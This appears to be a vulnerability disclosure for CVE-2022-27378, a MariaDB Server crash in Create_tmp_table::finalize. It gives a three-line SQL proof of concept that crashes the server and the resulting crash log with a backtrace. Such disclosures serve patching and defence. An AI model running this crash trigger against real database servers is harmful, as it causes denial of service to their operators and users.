Headline
CVE-2022-27378: [MDEV-26423] MariaDB server crash in Create_tmp_table::finalize
An issue in the component Create_tmp_table::finalize of MariaDB Server v10.7 and below was discovered to allow attackers to cause a Denial of Service (DoS) via specially crafted SQL statements.
PoC:
CREATE TABLE v0 ( v2 DATE DEFAULT ( v1 MOD 68321183.000000 ) , v1 DATETIME NULL ) ;
SHOW DATABASES LIKE ‘x’ ;
SELECT DISTINCT v2 , v1 , DEFAULT ( v2 ) FROM v0 ;
Crash Log:
We will try our best to scrape up some info that will hopefully help
diagnose the problem, but since we have already crashed,
something is definitely wrong and this may fail.
Server version: 10.7.0-MariaDB
key_buffer_size=134217728
read_buffer_size=131072
max_used_connections=1
max_threads=153
thread_count=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 467956 K bytes of memory
Hope that’s ok; if not, decrease some variables in the equation.
Thread pointer: 0x62b0000bd218
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong…
stack_bottom = 0x7fbccf9b6850 thread_stack 0x5fc00
sanitizer_common/sanitizer_common_interceptors.inc:4203(__interceptor_backtrace.part.0)[0x7fbcf53e9c3e]
mysys/stacktrace.c:213(my_print_stacktrace)[0x55da8b1e8747]
sql/signal_handler.cc:222(handle_fatal_signal)[0x55da8a1b0120]
sigaction.c:0(__restore_rt)[0x7fbcf4dd3870]
sql/sql_select.cc:19307(Create_tmp_table::finalize(THD*, TABLE*, TMP_TABLE_PARAM*, bool, bool))[0x55da89b716a6]
sql/sql_select.cc:19606(create_tmp_table(THD*, TMP_TABLE_PARAM*, List<Item>&, st_order*, bool, bool, unsigned long long, unsigned long long, st_mysql_const_lex_string const*, bool, bool))[0x55da89b736a4]
sql/sql_select.cc:4015(JOIN::create_postjoin_aggr_table(st_join_table*, List<Item>*, st_order*, bool, bool, bool))[0x55da89ba26b3]
sql/sql_select.cc:3589(JOIN::make_aggr_tables_info())[0x55da89ba5424]
sql/sql_select.cc:3225(JOIN::optimize_stage2())[0x55da89bd5e72]
sql/sql_select.cc:2479(JOIN::optimize_inner())[0x55da89bdfd07]
sql/sql_select.cc:1811(JOIN::optimize())[0x55da89be17b1]
sql/sql_select.cc:4977(mysql_select(THD*, TABLE_LIST*, List<Item>&, Item*, unsigned int, st_order*, st_order*, Item*, st_order*, unsigned long long, select_result*, st_select_lex_unit*, st_select_lex*))[0x55da89be1a0e]
sql/sql_select.cc:545(handle_select(THD*, LEX*, select_result*, unsigned long))[0x55da89be3655]
sql/sql_parse.cc:6256(execute_sqlcom_select(THD*, TABLE_LIST*))[0x55da89a26d7d]
sql/sql_parse.cc:3946(mysql_execute_command(THD*, bool))[0x55da89a50421]
sql/sql_parse.cc:8047(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x55da89a555a1]
sql/sql_parse.cc:1898(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))[0x55da89a5b60c]
sql/sql_parse.cc:1406(do_command(THD*, bool))[0x55da89a6073d]
sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x55da89e1be57]
sql/sql_connect.cc:1312(handle_one_connection)[0x55da89e1c33d]
perfschema/pfs.cc:2204(pfs_spawn_thread)[0x55da8a8acc2c]
pthread_create.c:0(start_thread)[0x7fbcf4dc9259]
:0(__GI___clone)[0x7fbcf49745e3]
Trying to get some variables.
Some pointers may be invalid and cause the dump to abort.
Query (0x629000087238): SELECT DISTINCT v2 , v1 , DEFAULT ( v2 ) FROM v0
Connection ID (thread ID): 4
Status: NOT_KILLED
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